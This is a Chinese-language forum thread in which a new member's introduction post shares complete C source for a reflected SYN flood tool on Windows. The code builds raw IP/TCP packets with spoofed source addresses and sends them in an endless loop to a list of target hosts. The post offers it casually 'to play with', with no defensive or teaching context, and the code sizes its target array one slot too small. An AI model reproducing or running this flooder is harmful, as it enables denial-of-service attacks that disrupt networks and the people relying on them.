返回列表 发帖

[新人报道] 很荣幸加入Win7天下论坛

新人报道

会员名 Seven_Lov
年龄 -
邮箱 fanmdi@163.com
电话 -
照片 -
所在地 -
就读学校 -
专业 -
QQ -
初出茅庐 请大家多多指教 希望能和大家成为朋友

分享一个源代码程序 有兴趣的可以拿去玩玩
  1. #include <winsock2.h>
  2. #include <Ws2tcpip.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #define SEQ 0x28376839
  6. #define NUM 7//反射服务器的个数
  7. #define FAKE_IP "192.168.0.6" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
  8. #define STATUS_FAILED 0xFFFF //错误返回值
  9. typedef struct _iphdr //定义IP首部
  10. {
  11. unsigned char h_verlen; //4位首部长度,4位IP版本号
  12. unsigned char tos; //8位服务类型TOS
  13. unsigned short total_len; //16位总长度(字节)
  14. unsigned short ident; //16位标识
  15. unsigned short frag_and_flags; //3位标志位
  16. unsigned char ttl; //8位生存时间 TTL
  17. unsigned char proto; //8位协议 (TCP, UDP 或其他)
  18. unsigned short checksum; //16位IP首部校验和
  19. unsigned int sourceIP; //32位源IP地址
  20. unsigned int destIP; //32位目的IP地址
  21. }IP_HEADER;
  22. struct //定义TCP伪首部
  23. {
  24. unsigned long saddr; //源地址
  25. unsigned long daddr; //目的地址
  26. char mbz;
  27. char ptcl; //协议类型
  28. unsigned short tcpl; //TCP长度
  29. }psd_header;
  30. typedef struct _tcphdr //定义TCP首部
  31. {
  32. USHORT th_sport; //16位源端口
  33. USHORT th_dport; //16位目的端口
  34. unsigned int th_seq; //32位序列号
  35. unsigned int th_ack; //32位确认号
  36. unsigned char th_lenres; //4位首部长度/6位保留字
  37. unsigned char th_flag; //6位标志位
  38. USHORT th_win; //16位窗口大小
  39. USHORT th_sum; //16位校验和
  40. USHORT th_urp; //16位紧急数据偏移量
  41. }TCP_HEADER;
  42. //CheckSum:计算校验和的子函数
  43. USHORT checksum(USHORT *buffer, int size)
  44. {
  45. unsigned long cksum=0;
  46. while(size >1) {
  47. cksum+=*buffer++;
  48. size -=sizeof(USHORT);
  49. }
  50. if(size ) {
  51. cksum += *(UCHAR*)buffer;
  52. }
  53. cksum = (cksum >> 16) + (cksum & 0xffff);
  54. cksum += (cksum >>16);
  55. return (USHORT)(~cksum);
  56. }
  57. // SynFlood主函数
  58. int main()
  59. {
  60. int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
  61. int TimeOut=2000,SendSEQ=0,i=0;
  62. char SendBuf[128]={0};
  63. char RecvBuf[65535]={0};
  64. char * Syn_dest_ip[NUM-1];
  65. WSADATA wsaData;
  66. SOCKET SockRaw=(SOCKET)NULL;
  67. struct sockaddr_in DestAddr;
  68. IP_HEADER ip_header;
  69. TCP_HEADER tcp_header;
  70. //初始反射IP列表
  71. Syn_dest_ip[0]="192.168.0.99";
  72. Syn_dest_ip[1]="192.168.0.1";
  73. Syn_dest_ip[2]="192.168.0.2";
  74. Syn_dest_ip[3]="192.168.0.4";
  75. Syn_dest_ip[4]="192.168.0.5";
  76. Syn_dest_ip[5]="192.168.0.3";
  77. Syn_dest_ip[6]="192.168.0.7";
  78. //初始化SOCK_RAW
  79. if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
  80. fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
  81. ExitProcess(STATUS_FAILED);
  82. }
  83. SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
  84. if (SockRaw==INVALID_SOCKET){
  85. fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
  86. ExitProcess(STATUS_FAILED);
  87. }
  88. flag=TRUE;
  89. //设置IP_HDRINCL以自己填充IP首部
  90. ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
  91. if (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");
  92. __try{
  93. //设置发送超时
  94. ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
  95. if(ErrorCode==SOCKET_ERROR){
  96. fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
  97. __leave;
  98. }
  99. while(1){
  100. for(i=0;i<NUM;i++){ //循环使用代理
  101. memset(&DestAddr,0,sizeof(DestAddr));
  102. DestAddr.sin_family=AF_INET;
  103. DestAddr.sin_addr.s_addr=inet_addr(Syn_dest_ip[i]);
  104. FakeIpNet=inet_addr(FAKE_IP);
  105. FakeIpHost=ntohl(FakeIpNet);
  106. //填充IP首部
  107. ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
  108. //高四位IP版本号,低四位首部长度
  109. ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
  110. ip_header.ident=1; //16位标识
  111. ip_header.frag_and_flags=0; //3位标志位
  112. ip_header.ttl=128; //8位生存时间TTL
  113. ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
  114. ip_header.checksum=0; //16位IP首部校验和
  115. ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
  116. ip_header.destIP=inet_addr(Syn_dest_ip[i]); //32位目的IP地址
  117. //填充TCP首部
  118. tcp_header.th_sport=htons(7000); //源端口号
  119. tcp_header.th_dport=htons(8080); //目的端口号
  120. tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
  121. tcp_header.th_ack=0; //ACK序列号置为0
  122. tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
  123. tcp_header.th_flag=2; //SYN 标志
  124. tcp_header.th_win=htons(16384); //窗口大小
  125. tcp_header.th_urp=0; //偏移
  126. tcp_header.th_sum=0; //校验和
  127. //填充TCP伪首部(用于计算校验和,并不真正发送)
  128. psd_header.saddr=ip_header.sourceIP; //源地址
  129. psd_header.daddr=ip_header.destIP; //目的地址
  130. psd_header.mbz=0;
  131. psd_header.ptcl=IPPROTO_TCP; //协议类型
  132. psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度
  133. //每发送10,24个报文输出一个标示符
  134. printf(".");
  135. for(counter=0;counter<1024;counter++){
  136. if(SendSEQ++==65536) SendSEQ=1; //序列号循环
  137. //更改IP首部
  138. ip_header.checksum=0; //16位IP首部校验和
  139. ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
  140. //更改TCP首部
  141. tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
  142. tcp_header.th_sum=0; //校验和
  143. //更改TCP Pseudo Header
  144. psd_header.saddr=ip_header.sourceIP;
  145. //计算TCP校验和,计算校验和时需要包括TCP pseudo header
  146. memcpy(SendBuf,&psd_header,sizeof(psd_header));
  147. memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
  148. tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
  149. //计算IP校验和
  150. memcpy(SendBuf,&ip_header,sizeof(ip_header));
  151. memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
  152. memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
  153. datasize=sizeof(ip_header)+sizeof(tcp_header);
  154. ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
  155. //填充发送缓冲区
  156. memcpy(SendBuf,&ip_header,sizeof(ip_header));
  157. //发送TCP报文
  158. ErrorCode=sendto(SockRaw,
  159. SendBuf,
  160. datasize,
  161. 0,
  162. (struct sockaddr*) &DestAddr,
  163. sizeof(DestAddr));
  164. if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
  165. }//End of for
  166. }//End of for
  167. }//End of while
  168. }//End of try
  169. __finally {
  170. if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
  171. WSACleanup();
  172. }
  173. return 0;
  174. }
复制代码

TOP

自己顶一下 呵呵
   生命中的一些人如同从自己身体里分离出来的灵魂
   相遇,彼此安慰,如同双生的花

TOP

返回列表